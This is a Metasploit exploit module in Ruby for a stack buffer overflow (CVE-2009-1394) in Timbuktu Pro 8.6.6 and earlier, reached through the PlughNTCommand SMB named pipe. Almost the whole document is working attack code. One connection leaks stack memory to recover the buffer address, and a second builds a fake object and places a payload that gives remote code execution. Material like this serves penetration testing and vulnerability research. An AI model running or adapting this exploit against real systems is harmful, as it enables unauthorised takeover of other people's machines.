Timbuktu 8.6.6 – PlughNTCommand Named Pipe Buffer Overflow (Metasploit)
## # $Id: timbuktu_plughntcommand_bof.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Timbuktu <= 8.6.6 PlughNTCommand Named Pipe Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow in Timbuktu Pro version <= 8.6.6 in a pretty novel way. This exploit requires two connections. The first connection is used to leak stack data using the buffer overflow to overwrite the nNumberOfBytesToWrite argument. By supplying a large value for this argument it is possible to cause Timbuktu to reply to the initial request with leaked stack data. Using this data allows for reliable exploitation of the buffer overflow vulnerability. Props to Infamous41d for helping in finding this exploitation path. The second connection utilizes the data from the data leak to accurately exploit the stack based buffer overflow vulnerability. TODO: hdm suggested using meterpreter's migration capability and restarting the process for multishot exploitation. }, 'Author' => [ 'bannedit' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2009-1394' ], [ 'OSVDB', '55436' ], [ 'BID', '35496' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=809' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ # we use a memory leak technique to get the return address # tested on Windows XP SP2/SP3 may require a bit more testing [ 'Automatic Targeting', { # ntdll .data (a fairly reliable address) # this address should be relatively stable across platforms/SPs 'Writable' => 0x7C97B0B0 + 0x10 - 0xc } ], ], 'Privileged' => true, 'DisclosureDate' => 'Jun 25 2009', 'DefaultTarget' => 0)) end # we make two connections this code just wraps the process def smb_connection connect() smb_login() print_status("Connecting to \\\\#{datastore['RHOST']}\\PlughNTCommand named pipe") pipe = simple.create_pipe('\\PlughNTCommand') fid = pipe.file_id trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '') return pipe end def mem_leak pipe = smb_connection() print_status("Constructing memory leak...") writable_addr = target['Writable'] buf = make_nops(114) buf[0] = "3 " # specifies the command buf[94] = [writable_addr].pack('V') # this helps us by pass some checks in the code buf[98] = [writable_addr].pack('V') buf[110] = [0x1ff8].pack('V') # number of bytes to leak pipe.write(buf) leaked = pipe.read() leaked << pipe.read() if (leaked.length < 0x1ff8) print_error("Error: we did not get back the expected amount of bytes. We got #{leaked.length} bytes") pipe.close disconnect return end offset = 0x1d64 stackaddr = leaked[offset, 4].unpack('V')[0] bufaddr = stackaddr - 0xcc8 print_status "Stack address found: stack #{sprintf("0x%x", stackaddr)} buffer #{sprintf("0x%x", bufaddr)}" print_status("Closing connection...") pipe.close disconnect return stackaddr, bufaddr end def exploit stackaddr, bufaddr = mem_leak() if (stackaddr.nil? || bufaddr.nil? ) # just to be on the safe side print_error("Error: memory leak failed") end pipe = smb_connection() buf = make_nops(1280) buf[0] = "3 " buf[94] = [bufaddr+272].pack('V') # create a fake object buf[99] = "\x00" buf[256] = [bufaddr+256].pack('V') buf[260] = [bufaddr+288].pack('V') buf[272] = "\x00" buf[512] = payload.encoded pipe.write(buf) end end |